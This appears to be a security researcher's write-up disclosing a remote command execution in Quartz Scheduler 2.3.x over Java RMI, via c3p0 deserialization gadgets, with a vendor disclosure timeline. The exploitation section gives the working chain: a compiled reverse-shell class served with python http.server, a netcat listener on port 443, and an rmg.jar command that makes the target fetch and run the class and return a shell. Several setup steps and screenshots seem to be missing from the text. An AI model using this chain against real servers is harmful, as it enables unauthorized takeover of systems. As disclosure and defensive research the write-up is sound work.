Introduction

During a security assessment to one of my Clients, I found an instance of Quartz Scheduler with Java RMI enabled listening at TCP port 1099. After some research I discovered that the version in use was the latest stable 2.3.2 which uses the library c3p0, known to contain gadgets which can be abused to achieve a remote command execution if a particular object is deserialized.

Setup

To reproduce the issue I used the latest Debian 12 distribution following these steps:

After these steps, you should have something like that:

Before going further, I want to explain some things about the initial setup:

  • I used the version 2.3.0 because it is the only stable release downloadable from https://www.quartz-scheduler.org/downloads/ which contains the example scripts ready to be executed, but the exploit also works with version 2.3.2
  • The Java version used is 8u112 which is the release before version 8u121, which uses the JEP290 deserialization filter
  • The library mchange-commons-java-0.2.11 is a dependency of library c3p0, included in the Quartz Scheduler archive
  • The exploit also works with the latest version, at the time of writing, of c3p0 (0.9.5.5) and mchange-commons-java (0.2.20)

To start the Quartz Scheduler with Java RMI enabled, simply run server.sh from the example12 directory: ~/quartz-2.3.0-SNAPSHOT/examples/example12/server.sh

Once the server has been started, you need to download two tools to exploit the Java RMI deserialization:

Save ysoserial.jar inside the /opt directory and rmg.jar wherever you want, I personally placed it in my home directory.

Now you should have something like this:

You can use netstat utility to check if the server is listening at port 1099:

Now the setup is completed, the server is up and running and we can proceed with the exploitation phase.

Exploitation

The c3p0 gadgets allow to download a Java class from an HTTP server and execute it, so I first downloaded a Java reverse shell class, edited the host, port and cmd variables to match my setup, then I compiled it.

Next I served the file C.class via http.server Python module listening at port 80:

1
sudo python3 -m http.server 80

Finally I started netcat listening locally at port 443:

1
sudo nc -lvknp 443

To exploit the deserialization, I used the following command:

1
~/jdk1.8.0_112/bin/java -jar rmg.jar serial 127.0.0.1 1099 C3P0 "http://localhost/:C" --component reg

This is the explanation of the arguments:

  • serial instructs remote-method-guesser to enter in deserialization mode
  • 127.0.0.1 and 1099 are the IP and port of the Java RMI server (you don’t say?)
  • C3P0 instructs ysoserial to create a payload using the c3p0 library gadgets
  • http://localhost/:C is the argument for C3P0 gadgets chain, in particular I am specifing the base URL of the class to be downloaded and the name of the class (C) without the .class extension separated by a colon
  • –component reg specifies to target the Java RMI registry

After executing the command I received back a reverse shell at port 443:

I could not try the exploit on latest releases like 2.3.3 and 2.5.0 since the links on the official website are broken.

Disclosure Timeline

02/11/2023 - Vulnerabilty reported
03/11/2023 - Vulnerabilty acknowledged
08/03/2024 - Vulnerability disclosed (no replies from the vendor)